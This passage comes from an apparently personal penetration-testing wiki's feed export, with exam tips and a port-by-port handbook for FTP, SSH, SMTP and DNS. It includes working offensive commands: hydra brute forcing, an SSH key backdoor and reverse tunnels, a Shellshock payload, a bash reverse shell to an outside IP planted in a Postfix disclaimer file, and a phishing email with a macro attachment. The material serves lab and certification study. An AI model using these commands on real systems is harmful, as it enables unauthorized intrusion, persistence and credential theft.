* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2370</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2370"/>
		<updated>2026-06-03T13:41:48Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* 5985, 5986 - WinRM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smtp-user-enum -M  -u  -t&lt;br /&gt;
# Example&lt;br /&gt;
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Se ===&lt;br /&gt;
&lt;br /&gt;
=== Send mail ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# sendmail&lt;br /&gt;
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m &amp;quot;Please open attachment&amp;quot; -u &amp;quot;My job application&amp;quot; -a MyJobApplication.docm&lt;br /&gt;
-t : Recipient&#039;s email address.&lt;br /&gt;
-f : Sender&#039;s email address.&lt;br /&gt;
-s : SMTP server address.&lt;br /&gt;
-m : Message body of the email.&lt;br /&gt;
-u : Subject of the email.&lt;br /&gt;
-a : File to attach to the email.&lt;br /&gt;
# Telnet&lt;br /&gt;
telnet 192.168.196.137 25                                                                                                                                           1 ⨯&lt;br /&gt;
Trying 192.168.196.137...&lt;br /&gt;
Connected to 192.168.196.137.&lt;br /&gt;
Escape character is &#039;^]&#039;.&lt;br /&gt;
220 postfish.off ESMTP Postfix (Ubuntu)&lt;br /&gt;
HELO HELO&lt;br /&gt;
250 postfish.off&lt;br /&gt;
MAIL FROM: it@postfish.off&lt;br /&gt;
250 2.1.0 Ok&lt;br /&gt;
RCPT TO: brian.moore@postfish.off&lt;br /&gt;
250 2.1.5 Ok&lt;br /&gt;
DATA&lt;br /&gt;
354 End data with .&lt;br /&gt;
subject: Test&lt;br /&gt;
Hello,&lt;br /&gt;
This is a test.&lt;br /&gt;
Regards,&lt;br /&gt;
Me&lt;br /&gt;
.&lt;br /&gt;
250 2.0.0 Ok: queued as F2824458F9&lt;br /&gt;
quit&lt;br /&gt;
221 2.0.0 Bye&lt;br /&gt;
Connection closed by foreign host.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMTP 4.2.x &amp;lt; 4.2.48 - &#039;Shellshock&#039; ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Disclaimer exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze&lt;br /&gt;
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.&lt;br /&gt;
# 1. Add BASH TCP to disclaimer&lt;br /&gt;
/etc/postfix$ cat disclaimer&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.49.196/4444 0&amp;gt;&amp;amp;1&lt;br /&gt;
# 2. Send mail to any user&lt;br /&gt;
# 3. Receive a connection to our netcat listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 53 - DNS ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig version.bind CHAOS TXT @DNS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate DNS info ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsenum&lt;br /&gt;
dnsrecon -d&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Subdomains bruteforce ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnsrecon -D subdomains-1000.txt -d  -n&lt;br /&gt;
dnscan -d  -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan&lt;br /&gt;
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Zone transfer ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig axfr @ #Try zone transfer without domain&lt;br /&gt;
dig axfr @  #Try zone transfer guessing the domain&lt;br /&gt;
dnsrecon -d  -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 69 (UDP) - TFPT ==&lt;br /&gt;
&lt;br /&gt;
